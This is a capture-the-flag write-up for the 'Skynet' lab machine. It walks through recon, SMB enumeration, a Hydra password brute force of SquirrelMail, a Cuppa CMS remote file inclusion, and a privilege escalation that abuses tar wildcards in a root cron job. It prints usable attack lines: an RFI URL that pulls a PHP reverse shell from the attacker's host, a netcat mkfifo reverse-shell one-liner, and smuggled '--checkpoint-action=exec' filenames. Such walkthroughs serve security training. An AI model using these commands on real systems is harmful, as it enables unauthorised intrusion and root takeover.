Skynet write-up

1. Recon

Nmap

PORT	STATE SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack Apache httpd 2.4.18 ((Ubuntu))
110/tcp open	pop3	syn-ack Dovecot pop3d	
139/tcp open	netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)		
143/tcp open	imap	syn-ack Dovecot imapd	
445/tcp open	netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)		

Let's dig in the web server first

Gobuster

> gobuster dir -u 10.10.228.54 -w /usr/share/wordlists/dirb/big.txt

Path	Info
/.htpasswd	(Status: 403) [Size: 277]
/.htaccess	(Status: 403) [Size: 277]
/admin	(Status: 301) [Size: 312] [--> http://10.10.228.54/admin/]
/ai	(Status: 301) [Size: 309] [--> http://10.10.228.54/ai/]
/config	(Status: 301) [Size: 313] [--> http://10.10.228.54/config/]
/css	(Status: 301) [Size: 310] [--> http://10.10.228.54/css/]
/js	(Status: 301) [Size: 309] [--> http://10.10.228.54/js/]
/server-status	(Status: 403) [Size: 277]

Path	Info
/squirrelmail	(Status: 301) [Size: 319] [--> http://10.10.228.54/squirrelmail/]

We don't have access to many of the folders, but the /squirrelmail can be accessed and seems interesting.
On /squirrelmail, we get a login form for a web app named SquirrelMail version 1.4.23 [SVN].
But we don't have any credentials. Let's search at another place.

SAMBA

On the port 139/445, a samba server seems to be running, let's enumerate the remote shares.

> smbclient -L //ip/

Share name	Type	Comment
print$	Disk	Printer Drivers
anonymous	Disk	Skynet Anonymous Share
milesdyson	Disk	Miles Dyson Personal Share
IPC$	IPC	IPC Service (skynet server (Samba, Ubuntu))

Two shares are interessting, **anonymous** and **milesdyson**
We need to search on the anonymous share

> smbclient //ip/anonymous

We can find two files not empty : **attention.txt** and **log1.txt**
Attention.txt

```
A recent system malfunction has caused various passwords to be changed. All skynet employees are require
-Miles Dyson
```

log1.txt which seems to be a password list.
The **milesdyson** share might also be a username.
Let's try to brute force the mail app using the username and the creds found in log1.txt

Hydra

Using burp suite, we can view how a request is made to the login system. It's a post request with thoses parameters :
`login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1`
to the /squirrelmail/src/redirect.php/ endpoint.
We can then craft an hydra command :

> hydra -l milesdyson -P log1.txt 10.10.66.5 http-post-form "/squirrelmail/src/redirect.php/:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect."

We can then find a password :
`[80][http-post-form] host: 10.10.66.5 login: milesdyson password: [REDACTED]`

Let's login to the mail app, and in one mail we found that :

```
We have changed your smb password after system malfunction.
Password: )s{A&2Z=F^n_E.B
```

SAMBA 2

Now we have the the password for the samba **milesdyson** share, we can get in it.

> smbclient -U milesdyson //10.10.228.54/milesdyson

In a notes folder, we can retrieve an important.txt containing :

```
 1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
```

On the /45kra24zxs28v3yd endpoint, we can see a CUPPACMS running.
Checking online, we can find an exploit for this cms :

> https://www.exploit-db.com/exploits/25971

It's an LFI/RFI exploit, the webserver will load an external php file if the urlConfig parameter is set we accessing /alerts/alertConfigField.php
We will host a php reverse shell like the pentestmonkey one. In the same directory as our modified php reverse shell, we start a python webserver :

> python3 -m http.server

And setup a listener

> nc -lvp

Then, we make the remote server request and execute our shell accessing at :

> http://10.10.110.22/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.14.27.215:8000/shell.php

Privesc

One logged, when exploring the system, we can see a weird crontab running using :

> cat /etc/crontab

```
*/1 *    * * *   root    /home/milesdyson/backups/backup.sh
```

This script is executed as root every minutes.
Let's find what it do.

```
 #!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
```

The script create a backup of the /var/www/html folder to a backup.tgz archive.
Using gtfobins, we find that we can abuse of tar to execute a script
And since the script is running as root, if we can make it execute a reverse shell to our machine, it will run as root
When scanning the folder to backup, if tar find a file which is named as one of his arguments like "--checkpoint=1" and "–checkpoint-action=exec=/binsh"
Then tar will execute it, --checkpoint=1 and --checkpoint-action=exec=OUR_PAYLOAD will execute our payload
Let's create an netcat reverse shell script using https://www.revshells.com/
Enter your attacker ip and port and we get a command like :

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.26.190 4444 >/tmp/f

Save it on a shell.sh file on the target.
Make it executable.

> chmod +x shell.sh

Put the --checkpoint=1 file in the /var/www/html

> echo "" > --checkpoint=1
>
> echo "" > "--checkpoint-action=exec=sh shell.sh" We can then get the reverse shell using a netcat listener.